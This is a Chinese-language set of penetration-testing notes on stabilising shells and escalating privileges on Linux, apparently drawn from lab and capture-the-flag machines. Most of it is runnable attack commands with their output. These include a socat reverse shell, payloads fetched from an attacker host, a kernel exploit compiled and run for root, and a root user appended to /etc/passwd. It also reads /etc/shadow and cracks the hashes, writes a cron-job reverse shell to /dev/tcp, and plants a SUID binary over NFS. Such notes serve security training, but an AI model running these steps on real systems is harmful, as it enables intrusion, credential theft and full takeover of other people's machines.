建立shell的稳定性
方法一:python
使用 Python 来生成功能更强大的 伪终端,请根据需要将 python
替换为 python2
或 python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
设置 TERM 环境变量,设置终端类型为 xterm
,让 shell 识别出你当前使用的是图形化的 xterm 终端。
export TERM=xterm
按下 Ctrl + Z
:将当前 shell 挂起到后台
它会关闭我们自己的终端回显(这使我们能够使用 Tab 自动补全、箭头键以及 Ctrl + C 来终止进程)。
stty raw -echo; fg
重新初始化终端状态,防止输出乱码,提升交互体验
reset
实例:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
karen@ip-10-10-246-60:/tmp$
karen@ip-10-10-246-60:/tmp$ export TERM=xterm
karen@ip-10-10-246-60:/tmp$ ^Z
stty raw -echo; fg
[1] + continued nc -lvp 6666
karen@ip-10-10-246-60:/tmp$ reset
方法二:rlwrap
rlwrap 是一个程序,简单来说,它让我们在收到 shell 后立即访问历史记录、Tab 自动完成和箭头键
rlwrap nc -lvnp <port>
使用 Ctrl + Z 将 shell 移至后台运行,然后使用 stty raw -echo; fg
稳定运行并重新进入 shell
Ctrl +Z
stty raw -echo; fg
该方法常用于windows
实例
rlwrap nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.11.130.250] from (UNKNOWN) [10.10.246.60] 52048
karen@ip-10-10-246-60:/tmp$ ls
ls
shell.sh
snap.lxd
stty raw -echo; fg
[1] + continued rlwrap nc -lvnp 6666
karen@ip-10-10-246-60:/tmp$
方法三:Socat
先使用初始 netcat shell 作为过渡,过渡到功能更齐全的 socat shell
上传 socat
静态编译文件
攻击机:
cd ~/payloads # 假设你的 socat 静态版本放这里
sudo python3 -m http.server 80
目标机器:
wget http://<ATTACKER_IP>/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:192.168.56.1:4444
#在目标的初始 shell 中执行:
socat file:`tty`,raw,echo=0 tcp-listen:4444 #在攻击本地终端中运行:
漏洞提权
内核提权
- 识别内核版本
- 搜索并找到目标系统内核版本的漏洞代码
- 运行漏洞利用程序
寻找系统信息
uname -a
将打印系统信息,提供有关系统所用内核的更多详细信息。这在搜索可能导致权限提升的潜在内核漏洞时非常有用。
uname -a
Linux 5.4.0-1029-aws #30-Ubuntu SMP Tue Oct 20 10:06:38 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
/proc/version
提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)
cat /proc/version
Linux version 5.4.0-1029-aws (buildd@lcy01-amd64-022) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #30-Ubuntu SMP Tue Oct 20 10:06:38 UTC 2020
/etc/issue
查看 /etc/issue
文件来识别系统。该文件通常包含一些有关操作系统的信息
cat /etc/issue
Ubuntu 20.04.1 LTS
在线漏洞网站和漏洞工具
在线漏洞网站:
https://www.exploit-db.com/
https://sploitus.com/
https://cxsecurity.com/
漏洞工具:
https://github.com/jondonas/linux-exploit-suggester-2
但在一些最新提权漏洞上,更新可能并不是很快,例如CVE2025等提权漏洞。如果碰到目标机内核比较新,可能就需要自己去手动搜索相关问题,谷歌相关的关键字,或者找一些在线网站搜索
实例:
识别内核版本
cat /proc/version
Linux 3.13.0-24-generic
搜索并找到目标系统内核版本的漏洞代码
CVE-2015-1328
运行漏洞利用程序
攻击机:
wget https://www.exploit-db.com/exploits/37292
python -m http.server 7766
目标主机:
wget 192.168.0.1:7766/exp.c
gcc exp.c -o exp
chmod +x exp
./exp
# id
uid=0(root) gid=0(root) groups=0(root)
[!info] 如果目标没有GCC
你可以在自己的攻击机进行编译,后上传
# 攻击机上编译
gcc exp.c -o exp
# 使用Python开启HTTP服务
python3 -m http.server 80
# 目标机下载
wget http://<ATTACKER_IP>/exp -O /tmp/exp
非漏洞提权
配置不当提权
添加用户
利用条件:当前用户在/etc/passwd文件的用户组里面
查看/etc/passwd文件,返现用户组是brexit用户
brexit@misdirection:/etc$ ls -l passwd
ls -l passwd
-rwxrwxr-- 1 root brexit 1617 Jun 1 2019 passwd
后面创建新用户输入到/etc/passwd里面,先用openssl进行生成密码
openssl passwd -1 "admin"
$1$KJ/vMK8l$vskEDczLwhcBRfUootJTc1
进行写入pdx进行提权
echo 'pdx:$1$KJ/vMK8l$vskEDczLwhcBRfUootJTc1:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/$ echo 'pdx:$1$KJ/vMK8l$vskEDczLwhcBRfUootJTc1:0:0:root:/root:/bin/bash' >> /etc/passwd
<RfUootJTc1:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/$ su pdx
su pdx
Password: admin
root@misdirection:/# id
id
uid=0(root) gid=0(root) groups=0(root)
cat root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c
搜索密码提权
config
一些网站有应用服务,里面的配置信息可能存放用户名和密码
技术栈 | 常见配置文件 | 示例路径 |
---|---|---|
PHP | config.php , .env |
/var/www/html/config.php |
Laravel | .env |
.env |
Python Flask | config.py |
app/config.py |
Django | settings.py |
project/settings.py |
Node.js | .env , config.js |
.env , config/default.js |
Java | application.properties , web.xml |
/WEB-INF/web.xml |
WordPress | wp-config.php |
/var/www/html/wp-config.php |
可以更具web服务的识别再结合find命令进行寻找,也是一个好的突破点 |
find / -name "config" 2>/dev/null | xargs grep -i "password"
Sudo提权
sudo是以root权限去运行一个命令
任何用户都可以使用 sudo -l
命令检查其当前与 root 权限可以执行的工具。
该网站提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息:
https://gtfobins.github.io/
实例:
nmap 提权
jens@dc-6:~$ sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
方式一:
原理:nmap 可以执行脚本文件,可以创建一个文件并写入反弹 shell 的命令,默认用root 权限执行,所以反弹的 shell 也是 root
echo 'os.execute("/bin/bash")' > bb.nse
#创建一个 bb.nse 的文件,并且写入 os.execute("/bin/bash")
获取root权限
sudo -u root nmap --script=a.nse #以root用户执行 nmap
方式二:
sudo nmap --interactive
然后在交互式 shell 中:
!sh
这会将您带入 root shell ( sh
),因为 sudo
以 root 身份执行 nmap
,并且 !sh
从其中生成一个 shell。
==注意!!!==
==这仅适用于**旧版本的 Nmap** (≤5.21)——较新版本删除了交互模式。==
SUID提权
- SUID权限只能设置二进制文件
- 命令执行者要有二进制文件的执行权。
- 命令执行者执行二进制文件时会获得该程序的属主身份。
- SUID权限只在程序执行过程中有效
如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中使权限提升到root权限。
查找系统中所有设置了 SUID 权限的文件
find / -perm -u=s -type f 2>/dev/null
gdb提权
find / -perm -u=s -type f 2>/dev/null
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
id
uid=0(root) gid=33(www-data) groups=33(www-data)
base64读取
目标如果存在
/usr/bin/base64
读取 /etc/shadow
文件下的用户名和密码也是不错的选择
base64 /etc/shadow | base64 --decode
leonard:$6$JELumeiiJFPMFj3X$OXKY.N8LDHHTtF5Q/pTCsWbZtO6SfAzEQ6UkeFJy.Kx5C9rXFuPr.8n3v7TbZEttkGKCVj50KavJNAm7ZjRi4/::0:99999:7:::
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
john --wordlist=/usr/share/wordlists/rockyou.txt hash
missy:Password1:18785:0:99999:7:::
PATH提权
Linux中的PATH是一个环境变量,它指定了可执行程序所在的目录,例如bin和sbin目录,当我们在终端运行一个命令时,系统就会根据PATH来查找相关的可执行文件。
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
如果 $PATH
中包含了你 当前用户有写权限的目录,你就可以在这些目录中放置一个伪造的恶意脚本或二进制,当系统调用这个程序(尤其是 root 以非绝对路径调用 时),就会 执行你伪造的恶意程序,从而提权。
实例:
该文件似乎正在尝试运行命令 thm
但操作系统在 $PATH
中找不到它
/home/murdoch$ ls -l
total 24
-rwsr-xr-x 1 root root 16712 Jun 20 2021 test.c
karen@ip-10-10-122-20:/home/murdoch$ cat test.c
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("sl");
}
们需要先将该文件夹添加到 $PATH
export PATH=/home/murdoch:$PATH
echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
现在,我们将在 /tmp/murdoch
目录中创建一个名为 sl
的可执行文件,并使其生成一个 shell。
运行拿取root权限
echo "/bin/bash" >sl
chmod 777 sl
./test.c
id
uid=0(root) gid=0(root) groups=0(root)
定时任务提权(Cron Jobs)
Cron 用于在特定时间运行脚本或二进制文件,我们的目标是找到一个由 root 设置的 cron 文件,并让它运行我们的脚本进行提权
任何用户都可以读取 /etc/crontab
下保存系统范围 cron 任务的文件
cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
可以看到, backup.sh 脚本已配置为每分钟运行一次。
echo "bash -i >& /dev/tcp/192.168.117.128/6666 0>&1" > backup.sh
chmod +x backup.sh
nc -lvp 6666
id
uid=0(root) gid=0(root) groups=0(root)#获得root权限
NFS提权
NFS是networkfile system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于wndows的共享。
NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件在 NFS 服务器安装期间创建,通常可供用户读取。
此权限提升向量的关键元素是如上所示的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并剥夺所有文件的 root 权限。如果可写共享上存在“no_root_squash”选项,我们就可以创建一个设置了 SUID 位的可执行文件,并在目标系统上运行它。
也可以进行扫描查看
showmount -e 10.10.59.164
Export list for 10.10.59.164:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
在本地创建文件夹,进行挂载
mkdir /tmp/test
mount -o rw 10.10.151.86:/tmp /tmp/test
在共享目录下写入提权脚本,并赋予SUID位
cd /tmp/test
vim exp.c
#include <unistd.h>
#include <stdlib.h>
int main() {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
gcc exp.c -o exp -w
chmod +s exp
此时目标机会同步写入的提权脚本
ls -l
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 exp
-rw-r--r-- 1 root root 76 Jun 17 16:24 exp.c
运行
./exp
获得root权限
id
uid=0(root) gid=0(root) groups=0(root)#获得root权限
总结
一般情况下建议的是先查找非漏洞的提权方法,如果没有,
则再根据内核版本来查找相关的提权漏洞。这边不建议过度利用提权工具